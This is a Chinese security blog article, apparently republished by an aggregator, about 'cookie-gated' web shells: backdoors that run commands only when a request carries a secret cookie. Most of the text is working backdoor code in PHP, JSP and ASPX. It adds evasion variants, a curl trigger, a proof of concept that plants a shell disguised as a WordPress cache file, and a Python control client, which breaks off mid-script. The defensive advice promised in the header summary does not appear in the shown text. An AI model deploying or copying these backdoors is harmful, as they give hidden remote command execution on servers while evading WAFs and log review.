Cookie-GatedWebShell:隐蔽持久化后门的攻防解析

admin 2026-04-13 06:11:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了Cookie-GatedWebShell这一新型Web后门技术,其核心是通过HTTPCookie作为认证网关实现隐蔽持久化控制。相比传统WebShell,该技术将触发条件隐藏在Cookie中,有效规避WAF检测和日志审计。文章提供了PHP、JSP、ASPX等多种语言的实现代码,并介绍了时间窗口门控、多级Cookie联合验证等高级变体技术。防御建议包括加强Cookie安全监控、部署全流量审计、实施代码白名单等。 综合评分: 85 文章分类: 渗透测试,WEB安全,红队,漏洞分析,安全意识


cover_image

Cookie-Gated Web Shell:隐蔽持久化后门的攻防解析

小悉 小悉

爱安全Info

2026年4月6日 19:31 安徽

Cookie-Gated Web Shell:隐蔽持久化后门的攻防解析

0x01 什么是 Cookie-Gated Web Shell

Cookie-Gated Web Shell 是一种利用 HTTP Cookie 作为认证网关的高级 Web 后门技术。与传统 Web Shell 直接暴露参数执行命令不同,Cookie-Gated Web Shell 将触发条件隐藏在 Cookie 中,只有携带特定 Cookie 值的请求才能激活后门功能。

核心思想:

  • 普通访问 → 返回正常页面(404/空白/正常业务)
  • 携带特定 Cookie → 激活 Shell 功能

这种设计使得 Web Shell 在日志审计、WAF 检测、人工排查中极难被发现,因为:

  1. URL 路径看起来完全正常
  2. GET/POST 参数中没有可疑内容
  3. 请求体无异常载荷
  4. 仅 Cookie 头中携带触发密钥

0x02 技术原理

传统 Web Shell 的缺陷

// 经典一句话木马 - 极易被检测
<?php&nbsp;@eval($_POST['cmd']);&nbsp;?>

问题:

  • WAF 规则可直接匹配 eval($_POST
  • 访问日志中 POST 参数明显异常
  • 静态代码扫描秒杀

Cookie-Gated 的进化

正常请求流程:
Client&nbsp;→&nbsp;GET&nbsp;/index.php&nbsp;→&nbsp;Server&nbsp;→&nbsp;200&nbsp;OK&nbsp;(正常页面)

后门触发流程:
Client&nbsp;→&nbsp;GET&nbsp;/index.php&nbsp;+&nbsp;Cookie:&nbsp;session=<加密指令>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;→&nbsp;Server&nbsp;→&nbsp;执行命令&nbsp;→&nbsp;200&nbsp;OK&nbsp;(结果隐藏在响应中)

关键优势:

  • Cookie 在大多数 WAF 规则中不是重点检测区域
  • 访问日志默认不记录 Cookie 内容(Apache/Nginx 默认配置)
  • 无需特殊 URL 路径,可嵌入任何正常页面

0x03 实现方式详解

方式一:基础 Cookie 认证门控(PHP)

<?php
//&nbsp;文件名:&nbsp;functions.php&nbsp;(伪装为业务文件)
function&nbsp;load_config()&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;array('version'&nbsp;=>&nbsp;'2.1.3',&nbsp;'debug'&nbsp;=>&nbsp;false);
}

function&nbsp;check_updates()&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;门控逻辑:仅当&nbsp;Cookie&nbsp;中包含特定密钥时激活
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(isset($_COOKIE['_theme_cache'])&nbsp;&&
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;md5($_COOKIE['_theme_cache'])&nbsp;===
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'e10adc3949ba59abbe56e057f20f883e')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$payload&nbsp;=&nbsp;base64_decode($_COOKIE['_theme_data']);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@eval($payload);
&nbsp;&nbsp;&nbsp;&nbsp;}
}

$config&nbsp;=&nbsp;load_config();
check_updates();&nbsp;//&nbsp;后门入口隐藏在正常函数调用中
?>

触发方式:

curl&nbsp;-b&nbsp;"_theme_cache=123456;\
_theme_data=$(echo&nbsp;'system("id");'&nbsp;|&nbsp;base64)"&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://target.com/functions.php

方式二:加密通信 Cookie Shell(PHP)

<?php
class&nbsp;SessionManager&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;$key&nbsp;=&nbsp;'a1b2c3d4e5f6g7h8';&nbsp;//&nbsp;AES&nbsp;密钥

&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;init()&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!isset($_COOKIE['PHPSESSID_EXT']))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$this->normal_flow();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$token&nbsp;=&nbsp;$_COOKIE['PHPSESSID_EXT'];

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;验证门控&nbsp;Token
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$gate_key&nbsp;=&nbsp;substr($token,&nbsp;0,&nbsp;32);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($gate_key&nbsp;!==&nbsp;md5('my_secret_gate_2024'))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$this->normal_flow();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;解密执行载荷
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$encrypted&nbsp;=&nbsp;base64_decode(substr($token,&nbsp;32));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$iv&nbsp;=&nbsp;substr($encrypted,&nbsp;0,&nbsp;16);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ciphertext&nbsp;=&nbsp;substr($encrypted,&nbsp;16);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$command&nbsp;=&nbsp;openssl_decrypt(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ciphertext,&nbsp;'AES-128-CBC',&nbsp;$this->key,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OPENSSL_RAW_DATA,&nbsp;$iv
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($command&nbsp;!==&nbsp;false)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ob_start();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@eval($command);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$output&nbsp;=&nbsp;ob_get_clean();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setcookie('_cache_token',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;base64_encode($output),&nbsp;0,&nbsp;'/');
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$this->normal_flow();
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;function&nbsp;normal_flow()&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;session_start();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;
&nbsp;&nbsp;&nbsp;&nbsp;}
}

$sm&nbsp;=&nbsp;new&nbsp;SessionManager();
$sm->init();
?>

方式三:JSP Cookie-Gated Shell

<%@&nbsp;page&nbsp;import="java.io.*,java.util.*"&nbsp;%>
<%
String&nbsp;gate&nbsp;=&nbsp;null;
Cookie[]&nbsp;cookies&nbsp;=&nbsp;request.getCookies();
if&nbsp;(cookies&nbsp;!=&nbsp;null)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(Cookie&nbsp;c&nbsp;:&nbsp;cookies)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(c.getName().equals("JSESSIONID_BAK"))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gate&nbsp;=&nbsp;c.getValue();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
}

if&nbsp;(gate&nbsp;!=&nbsp;null&nbsp;&&&nbsp;gate.startsWith("GATE_"))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;secret&nbsp;=&nbsp;gate.substring(5,&nbsp;37);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(secret.equals(org.apache.commons.codec
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.digest.DigestUtils.md5Hex("webshell_key")))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(Cookie&nbsp;c&nbsp;:&nbsp;cookies)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(c.getName().equals("_err_log"))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;cmd&nbsp;=&nbsp;new&nbsp;String(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Base64.getDecoder().decode(c.getValue()));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Process&nbsp;p&nbsp;=&nbsp;Runtime.getRuntime()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.exec(new&nbsp;String[]{"/bin/bash","-c",cmd});
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BufferedReader&nbsp;br&nbsp;=&nbsp;new&nbsp;BufferedReader(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;InputStreamReader(p.getInputStream()));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;line;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StringBuilder&nbsp;sb&nbsp;=&nbsp;new&nbsp;StringBuilder();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((line&nbsp;=&nbsp;br.readLine())&nbsp;!=&nbsp;null)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sb.append(line).append("\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;out.println("<!--&nbsp;"&nbsp;+&nbsp;Base64.getEncoder()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.encodeToString(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sb.toString().getBytes())&nbsp;+&nbsp;"&nbsp;-->");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
}
%>
<html><body><h1>404&nbsp;Not&nbsp;Found</h1></body></html>

方式四:ASPX Cookie-Gated Shell

<%@&nbsp;Page&nbsp;Language="C#"&nbsp;%>
<%@&nbsp;Import&nbsp;Namespace="System.Diagnostics"&nbsp;%>
<%@&nbsp;Import&nbsp;Namespace="System.Security.Cryptography"&nbsp;%>
<script&nbsp;runat="server">
void&nbsp;Page_Load(object&nbsp;sender,&nbsp;EventArgs&nbsp;e)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;HttpCookie&nbsp;gate&nbsp;=&nbsp;Request.Cookies["ASP.NET_Locale"];
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(gate&nbsp;==&nbsp;null)&nbsp;return;

&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;val&nbsp;=&nbsp;gate.Value;
&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;(MD5&nbsp;md5&nbsp;=&nbsp;MD5.Create())&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte[]&nbsp;hash&nbsp;=&nbsp;md5.ComputeHash(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.Text.Encoding.UTF8.GetBytes(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;val.Substring(0,&nbsp;16)));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;check&nbsp;=&nbsp;BitConverter.ToString(hash)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Replace("-",&nbsp;"").ToLower();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(check&nbsp;!=&nbsp;"d41d8cd98f00b204e9800998ecf8427e")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;cmd&nbsp;=&nbsp;System.Text.Encoding.UTF8.GetString(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Convert.FromBase64String(val.Substring(16)));

&nbsp;&nbsp;&nbsp;&nbsp;Process&nbsp;p&nbsp;=&nbsp;new&nbsp;Process();
&nbsp;&nbsp;&nbsp;&nbsp;p.StartInfo.FileName&nbsp;=&nbsp;"cmd.exe";
&nbsp;&nbsp;&nbsp;&nbsp;p.StartInfo.Arguments&nbsp;=&nbsp;"/c&nbsp;"&nbsp;+&nbsp;cmd;
&nbsp;&nbsp;&nbsp;&nbsp;p.StartInfo.RedirectStandardOutput&nbsp;=&nbsp;true;
&nbsp;&nbsp;&nbsp;&nbsp;p.StartInfo.UseShellExecute&nbsp;=&nbsp;false;
&nbsp;&nbsp;&nbsp;&nbsp;p.Start();
&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;output&nbsp;=&nbsp;p.StandardOutput.ReadToEnd();

&nbsp;&nbsp;&nbsp;&nbsp;Response.AddHeader("X-Debug-Info",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Convert.ToBase64String(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.Text.Encoding.UTF8.GetBytes(output)));
}
</script>

0x04 高级变体技术

4.1 时间窗口门控

<?php
//&nbsp;只在特定时间窗口&nbsp;+&nbsp;特定&nbsp;Cookie&nbsp;才激活
$hour&nbsp;=&nbsp;(int)date('H');
if&nbsp;($hour&nbsp;>=&nbsp;2&nbsp;&&&nbsp;$hour&nbsp;<=&nbsp;4)&nbsp;{&nbsp;//&nbsp;凌晨&nbsp;2-4&nbsp;点
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(isset($_COOKIE['_perf_token']))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sig&nbsp;=&nbsp;hash_hmac('sha256',&nbsp;date('Y-m-d'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'secret_key_here');
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($_COOKIE['_perf_token']&nbsp;===&nbsp;$sig)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;每天的有效&nbsp;Token&nbsp;不同
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@eval(base64_decode(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$_COOKIE['_perf_data']));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
}
?>

4.2 多级 Cookie 联合门控

<?php
//&nbsp;需要同时满足&nbsp;3&nbsp;个&nbsp;Cookie&nbsp;条件
$c1&nbsp;=&nbsp;$_COOKIE['lang']&nbsp;??&nbsp;'';
$c2&nbsp;=&nbsp;$_COOKIE['tz']&nbsp;??&nbsp;'';
$c3&nbsp;=&nbsp;$_COOKIE['_ga_ext']&nbsp;??&nbsp;'';

if&nbsp;(strlen($c1)&nbsp;===&nbsp;5&nbsp;&&&nbsp;$c1[2]&nbsp;===&nbsp;'X'&nbsp;&&
&nbsp;&nbsp;&nbsp;&nbsp;crc32($c2)&nbsp;===&nbsp;0x6B2A7C1D&nbsp;&&
&nbsp;&nbsp;&nbsp;&nbsp;substr(md5($c1.$c2),&nbsp;0,&nbsp;8)&nbsp;===&nbsp;substr($c3,&nbsp;0,&nbsp;8))&nbsp;{

&nbsp;&nbsp;&nbsp;&nbsp;$payload&nbsp;=&nbsp;base64_decode(substr($c3,&nbsp;8));
&nbsp;&nbsp;&nbsp;&nbsp;@eval($payload);
}
?>

4.3 Cookie + User-Agent 双因子门控

<?php
$ua_hash&nbsp;=&nbsp;md5($_SERVER['HTTP_USER_AGENT']&nbsp;??&nbsp;'');
$cookie_key&nbsp;=&nbsp;$_COOKIE['cf_clearance_x']&nbsp;??&nbsp;'';

if&nbsp;($ua_hash&nbsp;===&nbsp;$cookie_key)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$cmd&nbsp;=&nbsp;base64_decode($_COOKIE['__cf_bm_x']&nbsp;??&nbsp;'');
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($cmd)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$output&nbsp;=&nbsp;shell_exec($cmd);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;header('X-CF-Cache:&nbsp;'&nbsp;.&nbsp;base64_encode($output));
&nbsp;&nbsp;&nbsp;&nbsp;}
}
?>

0x05 完整 POC 与复现

环境准备

#&nbsp;搭建测试环境(Docker)
docker&nbsp;run&nbsp;-d&nbsp;--name&nbsp;cookie-shell-lab&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;-p&nbsp;8080:80&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;-v&nbsp;$(pwd)/webroot:/var/www/html&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;php:8.1-apache

POC:基础 Cookie Shell 植入与利用

Step 1 – 植入后门文件

<?php
//&nbsp;保存为&nbsp;webroot/wp-includes/class-wp-cache.php
class&nbsp;WP_Object_Cache&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;flush()&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(isset($_COOKIE['wp_cache_key']))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$k&nbsp;=&nbsp;$_COOKIE['wp_cache_key'];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(hash('sha256',&nbsp;$k)&nbsp;===
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'a665a45920422f9d417e4867efdc4fb8'&nbsp;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'a04a1f3fff1fa07e998e86f7f7a27ae3')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data&nbsp;=&nbsp;$_COOKIE['wp_cache_data']&nbsp;??&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cmd&nbsp;=&nbsp;base64_decode($data);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($cmd)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;header('Content-Type:&nbsp;text/html');
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;"<!--&nbsp;cache-debug:&nbsp;"&nbsp;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;base64_encode(shell_exec($cmd))&nbsp;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&nbsp;-->";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;
&nbsp;&nbsp;&nbsp;&nbsp;}
}

$cache&nbsp;=&nbsp;new&nbsp;WP_Object_Cache();
$cache->flush();
echo&nbsp;"<!--&nbsp;WP&nbsp;Cache&nbsp;OK&nbsp;-->";
?>

Step 2 – Python 利用脚本

#!/usr/bin/env&nbsp;python3
"""Cookie-Gated&nbsp;Web&nbsp;Shell&nbsp;Client"""

import&nbsp;requests
import&nbsp;base64
import&nbsp;re
import&nbsp;sys

class&nbsp;CookieShellClient:
&nbsp;&nbsp;&nbsp;&nbsp;def&nbsp;__init__(self,&nbsp;target_url,&nbsp;gate_key="123"):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.url&nbsp;=&nbsp;target_url
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.gate_key&nbsp;=&nbsp;gate_key
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.session&nbsp;=&nbsp;requests.Session()

&nbsp;&nbsp;&nbsp;&nbsp;def&nbsp;execute(self,&nbsp;command):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookies&nbsp;=&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'wp_cache_key':&nbsp;self.gate_key,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'wp_cache_data':&nbsp;base64.b64encode(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;command.encode()).decode()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resp&nbsp;=&nbsp;self.session.get(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.url,&nbsp;cookies=cookies)

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;match&nbsp;=&nbsp;re.search(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r'cache-debug:&nbsp;([A-Za-z0-9+/=]+)',
